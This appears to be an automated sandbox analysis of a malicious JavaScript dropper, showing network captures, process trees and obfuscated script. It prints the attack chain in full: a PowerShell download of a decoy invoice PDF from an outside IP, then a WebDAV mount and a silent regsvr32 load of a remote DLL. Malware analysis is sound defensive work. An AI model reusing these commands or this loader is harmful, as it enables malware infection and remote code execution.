Jan 10, 2025 20:24:09.645749092 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.645762920 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.645776987 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.645791054 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.645804882 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.645806074 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.645821095 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.645850897 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.645869017 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.656991959 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657011032 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657053947 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657062054 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.657068014 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657083988 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657114983 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657114983 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.657136917 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657151937 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657165051 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657166004 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.657180071 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657190084 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.657196045 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657211065 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657226086 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657231092 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.657248974 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657254934 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.657268047 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657283068 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657296896 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657300949 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.657310963 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657325983 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657337904 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.657352924 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657358885 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.657367945 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657382011 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657393932 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657402992 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.657412052 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.657427073 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.657464981 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.693635941 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.695133924 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.695158005 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.695175886 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.695188046 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.695198059 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.695209980 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.695219994 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.695220947 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.695228100 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.695235968 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.695265055 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.695321083 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.695348024 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.695359945 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.695373058 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.695384026 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.695389986 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.695398092 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.695409060 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.695420027 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.695425034 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.695534945 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.695534945 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.705250025 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.731823921 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.891211987 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:10.202095032 CET	49746	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:10.207366943 CET	8888	49746	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:10.207595110 CET	49746	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:10.207796097 CET	49746	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:10.212565899 CET	8888	49746	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:11.023881912 CET	8888	49746	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:11.068839073 CET	49746	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:11.677580118 CET	49746	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 20:25:49.457206964 CET	57001	53	192.168.2.7	1.1.1.1
Jan 10, 2025 20:25:49.462044954 CET	53	57001	1.1.1.1	192.168.2.7
Jan 10, 2025 20:25:49.462133884 CET	57001	53	192.168.2.7	1.1.1.1
Jan 10, 2025 20:25:49.462177992 CET	57001	53	192.168.2.7	1.1.1.1
Jan 10, 2025 20:25:49.466949940 CET	53	57001	1.1.1.1	192.168.2.7
Jan 10, 2025 20:25:49.925149918 CET	53	57001	1.1.1.1	192.168.2.7
Jan 10, 2025 20:25:49.926518917 CET	57001	53	192.168.2.7	1.1.1.1
Jan 10, 2025 20:25:49.932329893 CET	53	57001	1.1.1.1	192.168.2.7
Jan 10, 2025 20:25:49.936072111 CET	57001	53	192.168.2.7	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:24:01.059098005 CET	56554	53	192.168.2.7	1.1.1.1
Jan 10, 2025 20:24:18.672271967 CET	54262	53	192.168.2.7	1.1.1.1
Jan 10, 2025 20:25:49.456688881 CET	53	53671	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:24:01.059098005 CET	192.168.2.7	1.1.1.1	0x457f	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:24:18.672271967 CET	192.168.2.7	1.1.1.1	0xcf3d	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 20:24:01.066236973 CET	1.1.1.1	192.168.2.7	0x457f	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:24:02.958894014 CET	1.1.1.1	192.168.2.7	0x9998	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:24:02.958894014 CET	1.1.1.1	192.168.2.7	0x9998	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:24:18.680202007 CET	1.1.1.1	192.168.2.7	0xcf3d	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:25:35.363524914 CET	1.1.1.1	192.168.2.7	0xe5ec	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:25:35.363524914 CET	1.1.1.1	192.168.2.7	0xe5ec	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49732	193.143.1.205	80	7628	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:24:08.150352001 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 20:24:08.929327965 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:24:08 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 20:24:08.929352999 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 20:24:08.929373026 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 20:24:08.934500933 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 20:24:08.934516907 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 20:24:08.934530020 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 20:24:08.934540987 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 20:24:08.934554100 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 20:24:08.934567928 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 20:24:08.934581995 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 20:24:08.934596062 CET	600	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49746	193.143.1.205	8888	7836	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:24:10.207796097 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 20:24:11.023881912 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:24:10 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	14:24:04
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1358019715229232264.js"
Imagebase:	0x7ff7882a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:24:05
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll
Imagebase:	0x7ff78e780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:24:05
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:24:05
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:24:09
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:24:09
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff78e780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:24:09
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff61e510000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:24:10
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:24:10
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:24:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1624,i,9361814265493686063,13477829696629400152,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function cjalnv() {	cjalnv() ➔ undefined
1	rzyisai = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var tnvmcd = this[mnjkwhihh + upebpg + ygyrwmf + uwkirrz + dslsejwd + dfxviebx + hmpgc + cosdznkxg] ( this[flompc + dhedv + mhozt + ygyrwmf + wzcvmgayh + mnjkwhihh + cosdznkxg][tcmhpckoc + ygyrwmf + dslsejwd + upebpg + cosdznkxg + dslsejwd + nokxk + aszls + vvtvdbnjh + dslsejwd + mhozt + cosdznkxg] ( flompc + dhedv + mhozt + ygyrwmf + wzcvmgayh + mnjkwhihh + cosdznkxg + ljmurbl + dhedv + wazjkhiw + dslsejwd + ipjonox + ipjonox ) [cpugl + dslsejwd + tqklwrv + cpugl + dslsejwd + upebpg + yxifsz] ( qulugtp + aqmmx + kfomnftq + zypkuww + mhwzapn + tcmhpckoc + aslqkiu + cpugl + cpugl + kfomnftq + bjckafir + erykh + mhwzapn + aslqkiu + dhedv + kfomnftq + cpugl + iswuxlt + tcmhpckoc + vqlkos + hmpgc + cosdznkxg + ygyrwmf + vqlkos + ipjonox + rmxslzy + ecovqgimn + upebpg + hmpgc + dslsejwd + ipjonox + iswuxlt + dfxviebx + hmpgc + cosdznkxg + dslsejwd + ygyrwmf + hmpgc + upebpg + cosdznkxg + wzcvmgayh + vqlkos + hmpgc + upebpg + ipjonox + iswuxlt + fmawic + vqlkos + mhozt + upebpg + ipjonox + dslsejwd ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( gzwfkozh = 0 ; gzwfkozh < rzyisai[ipjonox + dslsejwd + hmpgc + tqklwrv + cosdznkxg + wazjkhiw] ; ++ gzwfkozh )
4	{
5	if ( tnvmcd == rzyisai[gzwfkozh] )
6	{
7	tnvmcd = true;
8	break ;
9	}
10	}
11	if ( tnvmcd !== true )
12	this[flompc + dhedv + mhozt + ygyrwmf + wzcvmgayh + mnjkwhihh + cosdznkxg][rvafu + sfujnzczx + wzcvmgayh + cosdznkxg] ( );
13	this[flompc + dhedv + mhozt + ygyrwmf + wzcvmgayh + mnjkwhihh + cosdznkxg][tcmhpckoc + ygyrwmf + dslsejwd + upebpg + cosdznkxg + dslsejwd + nokxk + aszls + vvtvdbnjh + dslsejwd + mhozt + cosdznkxg] ( flompc + dhedv + mhozt + ygyrwmf + wzcvmgayh + mnjkwhihh + cosdznkxg + ljmurbl + dhedv + wazjkhiw + dslsejwd + ipjonox + ipjonox ) [ygyrwmf + sfujnzczx + hmpgc] ( mhozt + tbscdzhrr + yxifsz + rmxslzy + nzdxzoxa + mhozt + rmxslzy + mnjkwhihh + vqlkos + yvzgljuh + dslsejwd + ygyrwmf + uwkirrz + wazjkhiw + dslsejwd + ipjonox + ipjonox + ljmurbl + dslsejwd + tsxarp + dslsejwd + rmxslzy + xvixjr + tcmhpckoc + vqlkos + tbscdzhrr + tbscdzhrr + upebpg + hmpgc + yxifsz + rmxslzy + onnjdii + dfxviebx + hmpgc + kxlqwtk + vqlkos + quxtupndt + dslsejwd + xvixjr + flompc + dslsejwd + aszls + cpugl + dslsejwd + njicja + sfujnzczx + dslsejwd + uwkirrz + cosdznkxg + rmxslzy + xvixjr + nokxk + sfujnzczx + cosdznkxg + csxpgn + wzcvmgayh + ipjonox + dslsejwd + rmxslzy + mymnkacxw + cosdznkxg + dslsejwd + tbscdzhrr + mnjkwhihh + 